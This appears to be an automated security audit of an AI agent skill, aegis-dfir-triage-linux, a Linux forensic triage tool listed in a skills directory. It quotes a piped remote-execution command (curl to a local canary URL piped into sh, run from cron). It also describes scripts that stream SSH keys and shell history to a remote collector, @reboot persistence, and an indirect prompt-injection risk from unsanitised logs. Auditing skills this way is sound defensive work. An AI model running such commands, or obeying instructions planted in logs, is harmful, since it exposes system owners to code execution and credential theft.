The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill includes instructions to configure a cron job that downloads and executes code using the pattern curl -s http://127.0.0.1:9/canary.tgz | sh. While this is presented as a lab exercise, the use of piped remote execution is a high-risk pattern.
[DATA_EXFILTRATION]: Automated scripts are provided to collect and stream sensitive files—including SSH private keys, .bash_history, and system configuration files—to a user-defined remote collector over SSH.
[COMMAND_EXECUTION]: The skill relies on extensive execution of complex shell commands for evidence collection, memory acquisition, and system state analysis.
[PRIVILEGE_ESCALATION]: The instructions mandate the use of sudo for nearly all forensic actions and include commands to modify file permissions (chmod 755) for execution.
[PERSISTENCE]: The documentation provides explicit commands to plant persistence mechanisms, such as @reboot crontab entries, as part of its 'Exploitation & Reproduction' training module.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from system logs, process information, and web server logs which could contain malicious payloads intended to influence the agent. 1. Ingestion points: System logs (/var/log/auth.log, /var/log/nginx/access.log), process environments (/proc/pid/environ), and crontabs are read into the agent's context (e.g., in SKILL.md Steps 3, 4, 5, 7). 2. Boundary markers: The instructions do not define delimiters or warnings to prevent the agent from following instructions embedded within the analyzed logs. 3. Capability inventory: The skill has access to powerful system tools including sudo, ssh, curl, dd, and kernel module utilities like insmod. 4. Sanitization: There is no evidence of sanitization or escaping of the external log content before it is processed or reported by the agent.

aegis-dfir-triage-linux